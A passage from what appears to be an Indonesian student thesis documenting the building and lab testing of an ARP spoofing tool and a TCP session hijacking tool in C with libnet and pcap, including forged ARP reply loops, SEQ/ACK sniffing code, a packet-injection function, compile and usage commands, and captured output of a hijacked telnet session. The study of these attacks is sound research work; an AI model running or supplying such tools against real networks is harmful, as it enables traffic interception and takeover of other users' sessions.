33

(tidak termasuk header IP). Jika


sukses, menghasilkan nilai 1 dan
mengembalikan nilai -1 jika error.
int libnet_write_ip(int sock, Fungsi untuk menuliskan paket IP
u_char *packet, int len);
ke jaringan. Parameter yang
dibutuhkan adalah nilai socket raw
yang dibuka, buffer memori dari
paket yang dibuat dan panjang dari
paket.
int libnet_close_raw_sock(int Fungsi untuk menutup socket raw
fd);
yang dibuat. Mengembalikan nilai 1
jika berhasil dan -1 jika error.
int Fungsi untuk membebaskan
libnet_destroy_packet(u_char
**buf);
memori buffer yang telah dibuat.
void libnet_error(int Fungsi untuk mencetak error ke
severity, char *msg, ...);
standard output.
char *pcap_lookupdev(char Fungsi untuk mencari kartu jaringan
*errbuf);
yang aktif. Argumen char *errbuf
untuk menampung nilai error yang
dihasilkan dari fungsi ini. Nilai
kembalian dari fungsi ini digunakan
untuk proses pada fungsi
pcap_open_live(),
pcap_lookupnet().
pcap_t *pcap_open_live(const Fungsi untuk mengambil paket
char *device, int snaplen, int
promisc, int to_ms, char
yang ditangkap oleh kartu jaringan.
*errbuf); Argumen-argumen yang dibutuhkan
antara lain kartu jaringan yang aktif,
panjang data yang akan diambil
(biasanya bernilai 65535), nilai
untuk mengaktifkan mode
promiscuous (1 untuk mengaktifkan
dan 0 jika tidak), waktu yang
dibutuhkan untuk mengambil data
dan buffer memori untuk
menangani error.
int pcap_datalink(pcap_t *p); Fungsi untuk menentukan type dari
layer data link yang akan
digunakan. Fungsi ini berguna
34

untuk memperoleh nilai header


Ethernet yang digunakan.
const u_char *pcap_next(pcap_t Fungsi untuk memperoleh nilai
*p, struct pcap_pkthdr *h);
berupa pointer dari sebuah paket
header yang diterima.
void pcap_close(pcap_t *p); Fungsi untuk menutup pointer ke
memori data struct pcap_t.

3.4 Implementasi Program

Program ini dibuat dengan menggunakan library libnet.h dan


pcap.h untuk mengirimkan atau mengetahui data dalam jaringan.
Pertama kali, dideklarasikan variabel-variabel dan fungsi-fungsi yang
dibutuhkan untuk program ini.

static struct libnet_link_int *llif;


static struct ether_addr client_mac, target_mac;
static in_addr_t client_ip, target_ip;
static char *intf;
extern char *ether_ntoa(struct ether_addr *);
int arp_find(in_addr_t ip, struct ether_addr *mac);
int arp_cache_lookup(in_addr_t, struct ether_addr *);
int arp_force(in_addr_t dst);
int arp_send(struct libnet_link_int *llif, char *dev,
int op, u_char *sha, in_addr_t spa,
u_char *tha, in_addr_t tpa);
void cleanup(int sig);

Variabel llif bertipe data struct dari libnet_link_int yang


digunakan untuk menangani semua paket yang akan diinjeksikan ke
jaringan melalui kartu jaringan. Kemudian alamat Ethernet dari host
client (client_mac) dan host server (target_mac) yang akan saling
berkomunikasi, diberi tipe data struct dari ether_addr untuk
menampung 48 bit (8 oktet) alamat MAC. client_ip dan target_ip
dideklarasikan sebagai tipe data in_addr_t yang dapat menampung
alamat IP dari masing-masing host. Kemudian untuk menampung kartu
jaringan yang digunakan, diberi tipe data char.
Untuk mencetak alamat Ethernet yang mempunyai tipe data
struct ether_addr, diperlukan fungsi ether_ntoa yang diambil dari file
di linux dengan nama ether.h. Fungsi ini membutuhkan satu argumen
yang berisi pointer dari data ether_addr.
35

Fungsi yang digunakan untuk melakukan pengecekan terhadap


alamat MAC dari suatu host diperlukan fungsi arp_find yang
membutuhkan argumen berupa alamat IP dan pointer dari alamat MAC.
Jika berhasil mendapatkan alamat MAC dari alamat IP yang diminta,
fungsi ini akan mengembalikan nilai 1, namun jika gagal (terjadi error)
fungsi akan mengembalikan nilai 0.
Fungsi arp_find tidak dapat mencari alamat MAC dari alamat IP
yang diminta. Oleh karena itu, dibutuhkan sebuah fungsi untuk mencari
alamat MAC yang dimaksud. Fungsi arp_cache_lookup, menggunakan
alamat IP dan alamat Ethernet yang dimasukkan sebagai argumen dari
fungsi ini. Jika berhasil, akan mengembalikan nilai 1, namun jika gagal
(terjadi error) fungsi akan mengembalikan nilai 0.
Selanjutnya, fungsi yang digunakan adalah fungsi arp_force.
Fungsi ini digunakan untuk melakukan koneksi dengan host-host yang
akan dispoof. Koneksi ini dilakukan dengan membuka socket.
Fungsi arp_send mempunyai 7 argumen untuk mengirimkan
paket ARP, baik itu berupa ARP Reply atau ARP Request. Argumen-
argumen tersebut antara lain mengambil nilai struct libnet_link_int
*llif yang sudah dibuka, char *dev merupakan kartu jaringan yang
digunakan untuk mengirim paket ARP, int op untuk memberikan nilai
operasi paket ARP, u_char *sha untuk alamat MAC attacker,
in_addr_t spa merupakan alamat IP dari host asal (asli), u_char *tha
untuk alamat MAC dari host tujuan dan in_addr_t tpa merupakan
alamat IP dari host tujuan.
Fungsi cleanup digunakan untuk mngembalikan nilai dari
pemetaan alamat Ethernet terhadap alamat IP yang sebenarnya. Fungi
ini membutuhkan satu argumen yang bertipe integer yang mengambil
nilai dari penekanan tombol interupsi untuk menghentikan program.
Sebelum melakukan pengiriman ARP Reply palsu ke dua host
untuk melakukan ARP Spoofing, program ini perlu mengecek apakah
alamat IP yang dimasukkan memiliki alamat MAC (host tersebut hidup).
Hal tersebut dilakukan pada bagian berikut ini:
36

arp_find(target_ip, &target_mac);
arp_find(client_ip, &client_mac);

if(strcmp(
ether_ntoa((struct ether_addr*)&target_mac),
"0:0:0:0:0:0"
)== 0) {
errx(1, "error tidak dapat mencari mac address ip %s",
libnet_host_lookup(target_ip, 0));
exit(0);
}else if(strcmp(
ether_ntoa((struct ether_addr *)&client_mac),
"0:0:0:0:0:0"
)==0) {
errx(1, "error tidak dapat mencari mac address ip %s",
libnet_host_lookup(client_ip, 0));
exit(0);
}

Parameter yang dibutuhkan oleh fungsi arp_find adalah alamat


IP dan alamat MAC. Sebelumnya alamat MAC tidak diketahui, sehingga
dengan menggunakan fungsi ini akan didapatkan alamat MAC dari
alamat IP yang dimasukkan pada parameter ini. Dilakukan pemanggilan
fungsi arp_find dua kali, karena host yang akan di spoofing adalah dua
host yang saling berkomunikasi.
Fungsi ini dipanggil untuk mencari alamat MAC dengan
melakukan proses ARP Request terhadap host yang dicari alamat
MACnya, jika yang host yang dicari adalah host yang tidak bersistem
operasi linux. Dan jika host yang dicari menggunakan sistem operasi
linux, maka program akan mengirimkan pesan kosong untuk melakukan
komunikasi. Fungsi ini merupakan trigger dari program ARP Spoofing
untuk mendapatkan alamat MAC yang diinginkan.
Fungsi arp_find yang dipanggil akan menjalankan kode
arp_send(llif, intf, ARPOP_REQUEST, NULL, 0, NULL, ip)
digunakan untuk melakukan ARP Request kepada host yang bukan
menggunakan sistem operasi linux. Sedangkan untuk sistem yang
menggunakan sistem operasi linux, digunakan perintah sendto(fd,
NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin)). Perintah ini
merupakan trigger untuk mendapatkan alamat MAC host yang akan di
spoofing.
Jika host yang dicari tidak ditemukan, nilai kembaliannya adalah
alamat MAC 0:0:0:0:0:0. Namun jika ditemukan alamat MAC dari
alamat IP tersebut, nilai dari alamat MAC yang dicari adalah alamat
MAC dari host target dan host client tersebut.
37

Langkah selanjutnya untuk melakukan spoofing adalah dengan


mengirimkan ARP Reply palsu kepada host target dan host client. Kode
tersebut terdapat pada potongan program berikut ini:

for (;;) {
arp_send(llif, intf, ARPOP_REPLY,
NULL,
client_ip,
(target_ip ? (u_char *)&target_mac : NULL),
target_ip);
arp_send(llif, intf, ARPOP_REPLY,
NULL,
target_ip,
(client_ip ? (u_char *)&client_mac : NULL),
client_ip);
sleep(4);
}

Fungsi arp_send akan membuat paket ARP sesuai dengan


inputan dari parameter yang diberikan. Jika parameter untuk isi dari int
op diberi nilai ARPOP_REPLY, maka paket ARP yang dikirimkan adalah
paket ARP Reply dan jika yang dikirimkan ke parameter adalah
ARPOP_REQUEST, maka paket yang dikirimkan adalah paket ARP Request.
Setelah pembuatan paket ARP, paket tersebut dikirimkan pada
layer data link. Kode libnet_write_link_layer(llif, dev, pkt,
sizeof(pkt) akan menuliskan paket ARP yang dibuat ke layer data link.

Program yang telah dibuat, di-compile dengan cara sebagai berikut:


unknown:~/Desktop# gcc -o arpoison arpoison.c arp.c -lpcap
`libnet-config --libs --defines --cflags`
unknown:~/Desktop# ./arpoison
Penggunaan: ./arpoison [-i interface] [-t target] host

Program ARP Spoofing ini bertindak sebagai program yang terus-


menerus berjalan dengan mengirimkan ARP Reply palsu ke dua host
yang saling berkomunikasi. Opsi i digunakan untuk memilih device
yang digunakan oleh attacker untuk melewatkan paket. Dan opsi t
harus berisi dua alamat IP dari dua host yang akan di spoofing.

3.4.1 TCP Hijacking

Setelah ARP Spoofing dilakukan, attacker biasanya melakukan


beberapa tindakan untuk mengacaukan komunikasi yang terjadi antara
38

dua host yang telah di spoofing tersebut. Salah satu tindakan yang paling
merugikan adalah session hijacking.
Sebuah proses session hijacking memerlukan pengetahuan
tentang bagaimana cara komunikasi antar host dalam jaringan. Host
client ketika melakukan telnet ke host server yang merupakan server
telnet, akan membuat port acak (ditentukan oleh sistem operasi host
client). Port tersebut yang akan digunakan oleh host client untuk
berkomunikasi dengan host B pada port 23 yaitu port dari aplikasi telnet.
Program session hijacking ini membutuhkan alamat IP dari host
client, port komunikasi dari host client, alamat IP host server dan port
yang melakukan komunikasi dengan host client. Dari alamat IP dan port
yang diperoleh, attacker akan berusaha untuk mendapatkan nomer
sequence dan nomer acknowledgement dari komunikasi antara dua host
target yang sedang terjadi. Berikut ini adalah fungsi yang dipanggil
untuk memperoleh nomer sequence dan nomer acknowledgement:

getseqack(ifa, srcip, dstip, sport, dport, &sa)

Fungsi tersebut kemudian melakukan penangkapan paket yang


melalui kartu Ethernet. Pada kode pcap_open_live(interface,
65535, 1, 60, ebuf), kartu jaringan yang digunakan oleh attacker
diaktifkan untuk dapat menangkap paket yang keluar atau masuk.
Kemudian buf = (u_char *) pcap_next(pt, &pkthdr);
memerintahkan Ethernet untuk melakukan pembacaan header dari paket
yang diterima. Disini kemudian dilakukan pengecekan pembacaan paket
yang masuk pada kartu jaringan.
Berikut ini adalah pengecekan pembacaan header paket yang
masuk:
39

memcpy(&iph, buf + ethrhdr, sizeof(iph));


if (iph.ip_p != IPPROTO_TCP) Jenis protokol
continue;
if ((iph.ip_src.s_addr != srcip) || Cek alamat IP
(iph.ip_dst.s_addr != dstip))
continue;
memcpy(&tcph, buf + ethrhdr + sizeof(iph), sizeof(tcph));
if ((tcph.th_sport != htons(sport)) ||
(tcph.th_dport != htons(dport)))
continue;
if (!(tcph.th_flags & TH_ACK))
continue;
printf("Paket didapatkan!!! SEQ = 0x%lx ACK = 0x%lx\n",
htonl(tcph.th_seq), htonl(tcph.th_ack));

Dari potongan program di atas, jika paket yang diterima bukan


paket TCP, program akan melanjutkan melakukan pembacaan header
paket selanjutnya. Jika paket yang diterima adalah paket TCP
(IPPROTO_TCP), maka akan dilakukan pengecekan alamat IP asal paket
dan alamat IP tujuan paket. Jika alamat IP yang dicari sama dengan
alamat IP yang diterima oleh kartu jaringan, maka akan dilanjutkan
untuk mengecek nomer port yang ditangkap. Jika flags yang diterima
adalah nomer ACK, maka nomer SEQ dan nomer ACK yang dicari dapat
ditemukan. Nilai dari SEQ dan ACK terdapat pada tcph.th_seq dan
tcph.th_ack.
Setelah mengetahui nomer sequence dan nomer acknowledge dari
komunikasi tersebut, attacker mengirimkan perintah untuk dapat masuk
ke server. Dengan mengirimkan alamat IP asal (host client), alamat IP
tujuan (host server), port asal, port tujuan, bit control (PUSH), nomer
sequence, nomer acknowledge, isi data kosong dan ukuran data.
Pengiriman ini bertujuan untuk memaksa host server agar mempercayai
host dari attacker. Dan selanjutnya attacker dapat melakukan
pengiriman perintah untuk host server.
Berikut ini adalah fungsi yang digunakan untuk mengirimkan
perintah ke host server yang memanfaatkan nomer sequence dan nomer
acknowledge:
40

void sendtcp(u_long srcip, u_long dstip,


u_long sport, u_long dport,
u_char flags, u_long seq, u_long ack,
char *data, int datalen) {

u_char *packet;
int fd, psize;

devsrandom();
psize = LIBNET_IP_H + LIBNET_TCP_H + datalen;
libnet_init_packet(psize, &packet);
if (!packet)
libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet
failed\n");
fd = libnet_open_raw_sock(IPPROTO_RAW);
if (fd == -1)
libnet_error(LIBNET_ERR_FATAL, "libnet_open_raw_sock
failed\n");

libnet_build_ip(LIBNET_TCP_H + datalen, 0, random(), 0,


lrandom(128, 255), IPPROTO_TCP, srcip, dstip, NULL, 0,
packet);

libnet_build_tcp(sport, dport, seq, ack, flags, 65535, 0,


(u_char *) data, datalen, packet + LIBNET_IP_H);

if (libnet_do_checksum(packet,
IPPROTO_TCP, LIBNET_TCP_H + datalen) == -1)
libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum
failed\n");
libnet_write_ip(fd, packet, psize);
libnet_close_raw_sock(fd);
libnet_destroy_packet(&packet);
}

Program yang telah dibuat, di-compile dengan cara sebagai berikut:


unknown:~/Desktop# gcc -o tcphijack tcphijack.c -lpcap `libnet-config
--libs --defines --cflags`
unknown:~/Desktop# ./tcphijack
Penggunaan:./tcphijack <interface> <src ip> <src port> <dst ip> <dst
port>
<interface> Interface yang digunakan.
<src ip> Alamat IP asal koneksi (client).
<src port> Alamat port asal koneksi (client).
<dst ip> Alamat IP tujuan koneksi (server).
<dst port> Alamat port tujuan koneksi (server).
BAB IV
PENGUJIAN DAN ANALISA

Pada bab ini akan dijelaskan pengujian dan analisa terhadap


program ARP Spoofing serta serangan-serangan yang dapat dilakukan
pada sebuah jaringan lokal (Local Area Network / LAN) yang
menggunakan switch.

4.1 Pengujian dan Analisa Program ARP Spoofing

Pada tahap ini dilakukan pengiriman paket ARP Spoofing pada


beberapa platform sistem operasi keluarga microsoft yaitu windows XP
service pack 2, windows server 2003 serta Linux Debian 3.1 kernel 2.6.
Sebuah program ARP Spoofing pada intinya adalah host attacker
mengirimkan paket ARP Reply palsu untuk host client dan host server
yang saling melakukan komunikasi. Program ARP Spoofing yang dibuat,
dijalankan pada host attacker.

unknown:~/home/rodli# ./arpoison
Penggunaan: ./arpoison [-i interface] [-t target] host

Gambar 4.1 Running Program ARP Spoofing

41
42

4.1.1 Analisa Host Client

Skenario yang dijalankan adalah host client yang mempunyai


alamat IP 10.252.108.208 dengan alamat MAC 00:00:e2:9b:3c:b8
melakukan telnet (koneksi) ke host server yang mempunyai alamat IP
10.252.108.127 dan mempunyai alamat MAC 00:e0:7d:dd:50:0f.
Pada koneksi yang sebenarnya, ARP Cache host client berisi
pemetaan dari alamat IP dengan alamat MAC host server yang
sesungguhnya.

Gambar 4.2 ARP Cache host client sebelum spoofing

Program ARP Spoofing ini memiliki efek kepada host client dan
host server yang sedang melakukan koneksi. Pemetaan alamat IP dan
alamat MAC dari host yang merupakan lawan komunikasi tidak sesuai
dengan pemetaan yang sebenarnya.
Kemudian dengan menjalankan tool network analyzer semacam
ethereal pada host client, akan didapatkan hasil sebagai berikut:

No. Time Source Destination


5 4.001332 10.252.108.127 10.252.108.208
Protocol Info Jenis protokol yang
ARP dikirim oleh attacker
10.252.108.127 is at 00:e0:7d:dd:50:0e

Frame 5 (60 bytes on wire, 60 bytes captured)


Ethernet II, Src: 00:e0:7d:dd:50:0e, Dst: 00:00:e2:9b:3c:b8
Address Resolution Protocol (reply)

No. Time Source Destination


7 8.002686 10.252.108.127 10.252.108.208
Protocol Info
ARP 10.252.108.127 is at 00:e0:7d:dd:50:0e
43

Frame 7 (60 bytes on wire, 60 bytes captured)


Ethernet II, Src: 00:e0:7d:dd:50:0e, Dst:Jenis ARP yang
00:00:e2:9b:3c:b8
Address Resolution Protocol (reply) dikirim oleh attacker
No. Time Source Destination
8 12.004044 10.252.108.127 10.252.108.208
Protocol Info
ARP 10.252.108.127 is at 00:e0:7d:dd:50:0e

Frame 8 (60 bytes on wire,Alamat IP sumber


60 bytes dan
captured)
tujuan paket ARP
Ethernet II, Src: 00:e0:7d:dd:50:0e, Dst: 00:00:e2:9b:3c:b8
Address Resolution Protocol (reply)

No. Time Source Destination


12 16.005338 10.252.108.127 10.252.108.208
Protocol Info
ARP 10.252.108.127 is at 00:e0:7d:dd:50:0e

Frame 12 (60 bytes on wire, 60 bytes captured)


Isi ARP Reply
Ethernet II, Src: 00:e0:7d:dd:50:0e, Dst: 00:00:e2:9b:3c:b8
Address Resolution Protocol (reply)

No. Time Source Alamat MAC sumberDestination


15 20.006664 dan tujuan paket ARP
10.252.108.127 10.252.108.208
Protocol Info
ARP 10.252.108.127 is at 00:e0:7d:dd:50:0e

Frame 15 (60 bytes on wire, 60 bytes captured)


Ethernet II, Src: 00:e0:7d:dd:50:0e, Dst: 00:00:e2:9b:3c:b8
Address Resolution Protocol (reply)

Dari hasil data di atas, dapat diketahui bahwa pengirim paket


ARP sebenarnya adalah bukan host server yang mempunyai alamat IP
10.252.108.127 dan memiliki alamat MAC 00:e0:7d:dd:50:0f. Hal inilah
yang membuat host server kemudian mengirimkan data yang ditujukan
untuk host client akan melalui host attacker terlebih dahulu. Hal tersebut
terjadi karena alamat MAC tujuan yang diketahui oleh host server dari
ARP Cache yang dimiliki adalah alamat MAC dari host attacker yaitu
00:e0:7d:dd:50:0e.
44

Gambar 4.3 ARP Cache host client sesudah spoofing

Gambar tersebut juga menunjukkan manipulasi oleh host attacker


terhadap ARP Cache dari host client. Pemetaan alamat IP host server
terhadap alamat MAC yang sebenarnya adalah 10.252.108.127
00:e0:7d:dd:50:0f dirubah oleh attacker menjadi 10.252.108.127
00:e0:7d:dd:50:0e.
Setelah dilakukan ARP spoofing, semua yang dikirimkan oleh
client ke server akan dilewatkan terlebih dahulu ke host attacker.
Demikian juga dengan paket icmp yang dikirimkan ketika host client
melakukan ping ke host server.

Host client melakukan ping ke host server:


# ping 10.252.108.127

Hasil yang dapat dilihat pada host client:


PING 10.252.108.127 (10.252.108.127) 56(84) bytes of data.
From 10.252.108.124: icmp_seq=1 Redirect Host(New nexthop:
10.252.108.127)
64 bytes from 10.252.108.127: icmp_seq=1 ttl=63 time=0.507 ms
From 10.252.108.124: icmp_seq=2 Redirect Host(New nexthop:
10.252.108.127)
64 bytes from 10.252.108.127: icmp_seq=2 ttl=63 time=0.303 ms
From 10.252.108.124: icmp_seq=3 Redirect Host(New nexthop:
10.252.108.127)
64 bytes from 10.252.108.127: icmp_seq=3 ttl=63 time=0.287 ms
From 10.252.108.124: icmp_seq=4 Redirect Host(New nexthop:
10.252.108.127)
64 bytes from 10.252.108.127: icmp_seq=4 ttl=63 time=0.277 ms

--- 10.252.108.127 ping statistics ---


4 packets transmitted, 4 received, 0% packet loss, time 3000ms
rtt min/avg/max/mdev = 0.277/0.343/0.507/0.096 ms
45

Ketika host client menjalankan perintah ping ke host server, akan


tampak kejanggalan dari perintah ping tersebut. Karena terdapat terdapat
beberapa baris yang menyatakan bahwa paket icmp tersebut diteruskan
oleh host lain. Baris From 10.252.108.124: icmp_seq=3 Redirect Host(New
nexthop: 10.252.108.127) menunjukkan bahwa paket untuk
10.252.108.127 tersebut telah diteruskan oleh host dengan alamat IP
10.252.108.124.

Berikut ini adalah trafik yang tertangkap pada kartu jaringan yang
digunakan host client dengan menggunakan tcpdump:
06:37:16.457279 IP 10.252.108.208 > 10.252.108.127: icmp 64: echo
request seq 3
06:37:16.457421 IP 10.252.108.124 > 10.252.108.208: icmp 92: redirect
10.252.108.127 to host 10.252.108.127
06:37:16.457572 IP 10.252.108.127 > 10.252.108.208: icmp 64: echo
reply seq 3

Trafik tersebut menunjukkan bahwa ping dilakukan oleh host


client (10.252.108.208) ke alamat IP host server (10.252.108.127). Ping
tersebut mengirimkan paket icmp ke host attacker terlebih dahulu
(10.252.108.124), karena alamat MAC tujuan dari paket icmp tersebut
adalah alamat MAC dari host attacker dan bukan alamat MAC dari host
server.

Gambar 4.4 Traffic icmp di attacker

Traffic icmp yang diterima di host attacker, akan diteruskan ke


host tujuan sebenarnya. Karena paket tersebut bukanlah milik dari host
46

attacker. Sebuah paket icmp yang dikirim selalu membutuhkan jawaban,


jika host (alamat IP) yang dicari ada (hidup).

Gambar 4.5 Traffic icmp di server

Paket icmp yang diterima oleh server, berasal dari host attacker.
Hal tersebut dapat diketahui dari alamat MAC asal dari paket icmp yang
diterima oleh host server tidak berasal dari host client secara langsung.

4.1.2 Analisa Host Server

Begitu juga untuk host server. Pemetaan alamat IP dan alamat


MAC dari host yang merupakan lawan komunikasi tidak sesuai dengan
pemetaan yang sebenarnya.
Kemudian dengan menjalankan tool network analyzer semacam
ethereal pada host server, akan didapatkan hasil sebagai berikut:

No. Time Source Destination


3 3.185745 10.252.108.208 10.252.108.127
Protocol Info Jenis protokol yang
ARP dikirim oleh attacker
10.252.108.208 is at 00:e0:7d:dd:50:0e

Frame 3 (60 bytes on wire, 60 bytes captured)


Ethernet II, Src: 00:e0:7d:dd:50:0e, Dst: 00:e0:7d:dd:50:0f
Address Resolution Protocol (reply)

No. Time Source Destination


5 7.187068 10.252.108.208 10.252.108.127
Protocol Info
ARP 10.252.108.208 is at 00:e0:7d:dd:50:0e
47

Frame 5 (60 bytes on wire, 60 bytes captured)


Jenis
Ethernet II, Src: 00:e0:7d:dd:50:0e, Dst: ARP yang
00:e0:7d:dd:50:0f
Address Resolution Protocol (reply) dikirim oleh attacker
No. Time Source Destination
8 11.188821 10.252.108.208 10.252.108.127
Protocol Info
ARP 10.252.108.208 is at 00:e0:7d:dd:50:0e

Frame 8 (60 bytes on wire, 60 bytes captured)


Alamat IP sumber dan
Ethernet II, Src: 00:e0:7d:dd:50:0e, Dst: 00:e0:7d:dd:50:0f
Address Resolution Protocoltujuan paket ARP
(reply)

No. Time Source Destination


10 15.193230 10.252.108.208 10.252.108.127
Protocol Info
ARP 10.252.108.208 is at 00:e0:7d:dd:50:0e

Frame 10 (60 bytes on wire, 60 bytes captured)


Isi ARP Reply
Ethernet II, Src: 00:e0:7d:dd:50:0e, Dst: 00:e0:7d:dd:50:0f
Address Resolution Protocol (reply)

No. Time Source Alamat MAC sumberDestination


12 19.217783 dan tujuan paket ARP
10.252.108.208 10.252.108.127
Protocol Info
ARP 10.252.108.208 is at 00:e0:7d:dd:50:0e

Frame 12 (60 bytes on wire, 60 bytes captured)


Ethernet II, Src: 00:e0:7d:dd:50:0e, Dst: 00:e0:7d:dd:50:0f
Address Resolution Protocol (reply)

Dari hasil data di atas, dapat diketahui bahwa pengirim paket


ARP sebenarnya adalah bukan host client yang mempunyai alamat IP
10.252.108.208 dan memiliki alamat MAC 00:00:e2:9b:3c:b8. Hal
inilah yang membuat host server kemudian mengirimkan data yang
ditujukan untuk host client akan melalui host attacker terlebih dahulu.
Hal tersebut terjadi karena alamat MAC tujuan yang diketahui oleh host
server dari ARP Cache yang dimiliki adalah alamat MAC dari host
attacker yaitu 00:e0:7d:dd:50:0e.
48

Gambar 4.6 ARP Cache host server sebelum spoofing

Gambar 4.7 ARP Cache host server sesudah spoofing

Dari gambar tersebut, terlihat bahwa pemetaan alamat IP host


client terhadap alamat MAC yang sebenarnya telah dimanipulasi oleh
attacker. Pemetaan yang seharusnya adalah 10.252.108.208
00:00:e2:9b:3c:b8 dirubah oleh attacker menjadi 10.252.108.208
00:e0:7d:dd:50:0e.
49

4.1.3 Analisa Host Attacker

Efek dari pengiriman paket ARP yang berulang-ulang tampak


pada program ethereal yang dijalankan pada host attacker.

Gambar 4.8 Paket ARP yang dikirim host attacker

Pada gambar tersebut, paket ARP Reply yang palsu dikirimkan


melalui kartu jaringan dari host server secara terus-menerus. Informasi
ARP Reply tersebut digunakan untuk menipu host client dan host server
agar host attacker dapat mengetahui paket-paket apa saja yang
dikirimkan antara host client dengan host server.
Setelah melakukan ARP Spoofing, semua data yang dikirimkan
oleh host client untuk host server akan diterima oleh host server terlebih
dahulu.
50

Gambar 4.9 Semua traffic yang terlihat di host attacker

Gambar tersebut menunjukkan bahwa semua data yang dikirim


oleh host server dan ditujukan untuk host client atau sebaliknya dapat
diketahui oleh host attacker.
Dengan melakukan filter pada program ethereal, attacker dapat
menganalisa data apa saja yang sedang dikirim atau diterima oleh host
client maupun data yang sedang dikirim atau diterima oleh host server.
Hal inilah yang dapat dilakukan oleh attacker untuk melakukan sniffing
dalam sebuah jaringan yang menggunakan switch.
51

Gambar 4.10 Komunikasi telnet yang tercapture

4.2 Sniffing

Sniffing merupakan salah satu akibat yang ditimbulkan dari


sebuah serangan Man-In-the-Middle (MIM). Serangan ini diakibatkan
oleh semua data yang dikirim oleh host server ke host client atau
sebaliknya, dikirimkan ke host attacker selaku host yang berada di
tengah-tengah koneksi TCP yang sedang berjalan.

Gambar 4.11 Koneksi TCP sebelum ARP Spoofing

Gambar tersebut mengilustrasikan koneksi TCP yang sebenarnya,


tanpa ada sebuah host yang bertindak sebagai MIM. Kemudian host
attacker menjalankan program ARP Spoofing, berarti host attacker akan
52

bertindak sebagai host yang dilewati data antara host client dan host
server.

Gambar 4.12 Koneksi TCP setelah ARP Spoofing

Setelah host attacker menjadi host yang berada di tengah-tengah


dari dua host yang saling berkomunikasi, kemudian attacker melakukan
analisa traffic dengan menjalankan program ethereal. Dengan
menganalisa traffic TCP yang sudah tercapture, attacker dapat
mengetahui apa saja yang dilakukan oleh host client terhadap host
server.

Gambar 4.13 Follow TCP Stream yang dijalankan attacker


53

4.3 Pengujian dan Analisa Program TCP Hijacking

Untuk pengujian program TCP hijacking, berikut ini adalah


konfigurasi kartu jaringan dari masing-masing host yang terlibat.

Konfigurasi kartu jaringan host attacker:


haihai:/home/rodli# ifconfig
eth0 Link encap:Ethernet HWaddr 00:E0:7D:DD:50:0E
inet addr:10.252.108.124 Bcast:10.252.108.255
Mask:255.255.255.0
inet6 addr: fe80::2e0:7dff:fedd:500e/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:14984 errors:0 dropped:0 overruns:0 frame:0
TX packets:12699 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2771625 (2.6 MiB) TX bytes:1147818 (1.0 MiB)

Konfigurasi kartu jaringan host client:


linux:/home/rodli# ifconfig
eth0 Link encap:Ethernet HWaddr 00:00:E2:9B:3C:B8
inet addr:10.252.108.208 Bcast:10.252.108.255
Mask:255.255.255.0
inet6 addr: fe80::2e0:7dff:fedd:500f/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2646 errors:0 dropped:0 overruns:0 frame:0
TX packets:225 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:294975 (288.0 KiB) TX bytes:21201 (20.7 KiB)

Konfigurasi kartu jaringan host server:


client:/home/rodli# ifconfig
eth1 Link encap:Ethernet HWaddr 00:E0:7D:DD:50:0F
inet addr:10.252.108.127 Bcast:10.252.108.255
Mask:255.255.255.0
inet6 addr: fe80::200:e2ff:fe9b:3cb8/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2264 errors:0 dropped:0 overruns:0 frame:0
TX packets:209 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:225475 (220.1 KiB) TX bytes:21166 (20.6 KiB)

Sebelum dilakukan TCP hijacking, koneksi antara host client


dengan host server perlu disadap. Pada host attacker dijalankan terlebih
dahulu program ARP Spoofing.

haihai:/# ./arpoison
Penggunaan: ./arpoison [-i interface] [-t target] host
haihai:/# ./arpoison i eth0 t 10.252.108.208 10.252.108.127
54

Skenario yang dijalankan adalah host client akan menjalankan


telnet ke host server. Dengan menggunakan tool tcpdump yang
mengcapture paket lewat port 23, akan didapat data sebagai berikut:

haihai:/home/rodli# tcpdump -i eth0 | grep 23


tcpdump: verbose output suppressed, use -v or -vv for full protocol
decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
03:40:13.676323 IP 10.252.108.208.32911 > 10.252.108.127.23: P 1:2(1)
ack 2 win 6432 <nop,nop,timestamp 4280242 4162402>
Port client ditangkap
oleh attacker.
Setelah diketahui port yang digunakan oleh client (32911) untuk
melakukan telnet ke host server, attacker akan menjalankan program
TCP hijacking untuk mengambil alih komunikasi yang dilakukan oleh
client serta memutuskan koneksi dari client ke server.

haihai:/home/rodli# ./tcphijack eth0 10.252.108.208 32911


10.252.108.127 23
Waiting for SEQ/ACK to arrive from the srcip to the dstip.
Paket didapatkan!!! SEQ = 0xf6d1139 ACK = 0x10b8d01a
Starting hijack session, Please use ^C to terminate.
Anything you enter from now on is sent to the hijacked TCP
connection.
Nomer sequence dan
ls acknowledge diperoleh.
ls
dir
dir
dir
dir
pwd
whoami
exit
Closing connection..
Done, Exiting.

Untuk dapat memasuki komunikasi antara client dengan host,


attacker harus mengetahui nomer sequence dan nomer acknowledge dari
koneksi yang terjadi. Semua perintah yang dilakukan oleh attacker akan
diterima oleh server. Bahkan perintah untuk keluar dari telnet sekalipun.
Berikut ini adalah kejadian yang terjadi pada host client. Ketika
pertama kali login ke telnet server pada alamt IP 10.252.108.127, client
tidak mengetahui jika koneksi yang dilakukan olehnya dapat diketahui
55

oleh host lain. Namun pada saat attacker menjalankan program TCP
Hijacking, host client tidak akan dapat mengirimkan perintah ke host
server. Karena semua koneksi sudah dibajak oleh attacker.
Dibawah ini adalah keadaan terminal dari host client ketika
terjadi TCP hijacking. Setelah baris alice@client:~$ l, host client
tidak dapat mengirimkan perintah ke telnet server. Baris-baris
selanjutnya adalah perintah yang dilakukan oleh attacker. Baris
tersebut tercetak setelah koneksi yang dilakukan oleh attacker
selesai (attacker menjalankan perintah exit).

linux:/home/rodli# telnet 10.252.108.127


Trying 10.252.108.127...
Connected to 10.252.108.127.
Escape character is '^]'.
Debian GNU/Linux 3.1 localhost.localdomain
client login: alice
Password:
Last login: Fri Jul 28 03:01:21 2006 from 10.252.108.208 on pts/4
